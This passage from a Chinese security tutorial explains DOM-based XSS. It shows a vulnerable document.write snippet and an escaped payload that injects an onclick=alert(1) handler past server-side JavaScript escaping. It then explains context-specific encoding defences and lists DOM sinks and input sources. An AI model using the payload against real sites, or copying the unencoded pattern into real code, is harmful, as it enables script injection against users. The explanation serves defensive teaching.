事實上,DOM Based XSS是從Javascript中輸出數據到HTML頁面中。而前文提到的方法都是針對」從服務器應用直接輸出到HTML頁面」的XSS漏洞,所以並不適用於DOM Based XSS。 
看看下面這個例子:

<script>
var x="$var";
document.write("<a href='http://cracer.com/blog/"+x+"' >test</a>");
</script>

變量$var輸出在<script>標籤內,但是最後又被document.write輸出到HTML頁面中。 
假設爲了保護$var直接在<script>標籤內產生XSS,服務器端對齊進行了JavascriptEscape。但是$var在document.write時,仍然可以產生XSS,以下所示:

<script> var x="\x20\x27onlick\x3dalert\x281\x29\x3b..."; document.write("test"); </script>

頁面渲染以後的實際結果以下: 
XSS攻擊成功。 
其緣由在於,第一次執行JavascriptEscape後,只保護了: 
var x="$var"; 
可是當document.write輸出數據到HTML頁面時,瀏覽器從新渲染了頁面。在<script>標籤執行時,已經對變量x進行了解碼,其後document.write再運行時,其參數就變成了: 
<a href='http://cracer.com/blog/ 'onclick=alert(1);//' ' >test</a> 
XSS所以而產生。 
若是改爲HtmlEncode也是如此。 
正確的防護方法是什麼呢? 
首先,在$var輸出到<script>時,應該執行一次javascriptEncode;其次,在document.write輸出到HTML頁面時,要分具體狀況看待:若是是輸出到事件或者腳本,則要再作一 
javascriptEncode;若是是輸出到HTML內容或者屬性,則要作一次HtmlEncode。 
也就是說,從JavaScript輸出到HTML頁面,也至關於一次XSS輸出的過程,須要分語境使用不一樣的編碼函數。 
會觸發DOM Based XSS的地方不少,如下幾個地方是JavaScript輸出到HTML頁面的必經之路。 
a) document.write() document.writeln() 
b) xxx.innerHTML= xxx.outerHTML= 
c) innerHTML.replace 
d) document.attachEvent() window.attachEvent() 
e) document.location.replace() document.location.assign() 
… 
除了服務器端直接輸出變量到Javascript以外,還有如下幾個地方可能會成爲DOM Based XSS的輸入點,也須要重點關注。 
a) 頁面中全部的inputs框 
b) window.location(href、hash等) 
c) window.name 
d) document.referrer 
e) document.cookie 
f) localstorage 
g) XMLHttpRequest返回的數據

換個角度看XSS的風險

從業務角度看XSS風險,用戶之間有互動的頁面的風險確定比沒有互動的頁面的風險高。應重點修補風險高的頁面。 
理論上,XSS漏洞雖然複雜,但倒是能夠完全解決的。在設計XSS解決方案時,應該深刻理解XSS攻擊的原理,針對不一樣的場景使用不一樣的方法。同時有不少開源項目爲咱們提供了參考。

 

轉載請註明來自Cracer,本文標題:《XSS漏洞總結》

相關文章
相關標籤/搜索